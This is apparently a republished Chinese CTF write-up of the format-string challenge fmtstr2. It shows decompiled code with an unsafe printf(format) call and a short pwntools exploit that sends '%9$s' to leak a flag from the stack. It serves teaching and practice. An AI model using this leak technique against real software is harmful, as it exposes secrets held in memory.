[星盟 pwn LAB]格式化字符串:fmtstr2

Posted 漫小牛

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[星盟 pwn LAB]格式化字符串:fmtstr2相关的知识,希望对你有一定的参考价值。

一、checksec

在这里插入图片描述

二、IDA反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+3h] [rbp-3Dh]
  int i; // [rsp+4h] [rbp-3Ch]
  int j; // [rsp+4h] [rbp-3Ch]
  char *format; // [rsp+8h] [rbp-38h] BYREF
  _IO_FILE *fp; // [rsp+10h] [rbp-30h]
  char *v9; // [rsp+18h] [rbp-28h]
  char v10[24]; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v11; // [rsp+38h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  fp = fopen("flag.txt", "r");
  for ( i = 0; i <= 21; ++i )
    v10[i] = _IO_getc(fp);
  fclose(fp);
  v9 = v10;
  puts("what's the flag");
  fflush(_bss_start);
  format = 0LL;
  __isoc99_scanf("%ms", &format);
  for ( j = 0; j <= 21; ++j )
  {
    v4 = format[j];
    if ( !v4 || v10[j] != v4 )
    {
      puts("You answered:");
      printf(format);
      puts("\\nBut that was totally wrong lol get rekt");
      fflush(_bss_start);
      return 0;
    }
  }
  printf("That's right, the flag is %s\\n", v9);
  fflush(_bss_start);
  return 0;
}

三、解题思路

从反编译的代码可知,该程序在栈上放置了canary。将flag.txt的内容读入到内存中。接着问what’s the flag,并用scanf让输入flag。而后开始比对用户输入的flag和flag.txt中的flag,如果比对成功,则会输出flag,否则会提示错误。
由于本题存在格式化字符串漏洞,位置在printf(format),解题的思路是从printf泄露flag。
调试本题时,需注意本题为64位二进制程序,64位的calling convention是前6个参数进寄存器,后面的参数进stack,scanf到printf泄露时,我们先看6个寄存器,而后从第7个参数的泄露开始,到第9个参数时可以看到flag。

四、exp

from pwn import *
sh = process('./goodluck')
payload = "%9$s"
sh.sendline(payload)
sh.interactive()

以上是关于[星盟 pwn LAB]格式化字符串:fmtstr2的主要内容,如果未能解决你的问题,请参考以下文章

[星盟 pwn LAB]格式化字符串:fmtstr1

[星盟 pwn LAB]格式化字符串:fmtstr1

[星盟 pwn LAB]ret2libc3(从puts定位system)

Pwn-10月26-Hitcon-四

Pwn-10月31-Hitcon-五

pwn学pwn日记(持续更新)